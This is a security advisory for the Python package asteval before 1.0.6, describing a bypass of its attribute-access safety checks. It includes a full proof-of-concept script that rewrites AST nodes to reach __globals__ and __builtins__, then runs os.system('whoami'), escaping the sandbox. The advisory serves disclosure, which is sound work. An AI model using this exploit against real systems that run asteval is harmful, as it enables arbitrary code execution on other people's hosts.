Exposed Dangerous Method or Function Affecting asteval package, versions [,1.0.6)

asteval is a Safe, minimalistic evaluator of python expression using ast module

Affected versions of this package are vulnerable to Exposed Dangerous Method or Function stems from the library's attribute access verification method, specifically within the on_attribute node handler. The handler is intended to block access to sensitive Python dunder methods by checking against a list of unsafe attributes and attribute patterns. However, due to a flaw in the implementation, an attacker can manipulate the attribute access mechanism by altering the attribute name during runtime, thereby bypassing the safety checks and executing arbitrary code.

from asteval import Interpreter
aeval = Interpreter()
code = """
ga_str = "__getattribute__"
def lender():
    a
    b
def pwn():
    ga = lender.dontcare
    init = ga("__init__")
    ga = init.dontcare
    globals = ga("__globals__")
    builtins = globals["__builtins__"]
    importer = builtins["__import__"]
    importer("os").system("whoami")

def startswith1(str):
    # Replace the attr on the targeted AST node with "__getattribute__"
    pwn.body[0].value.attr = ga_str
    return False    

def startswith2(str):
    pwn.body[2].value.attr = ga_str
    return False    

n1 = lender.body[0]
n1.startswith = startswith1
pwn.body[0].value.attr = n1

n2 = lender.body[1]
n2.startswith = startswith2
pwn.body[2].value.attr = n2

pwn()
"""
aeval(code)

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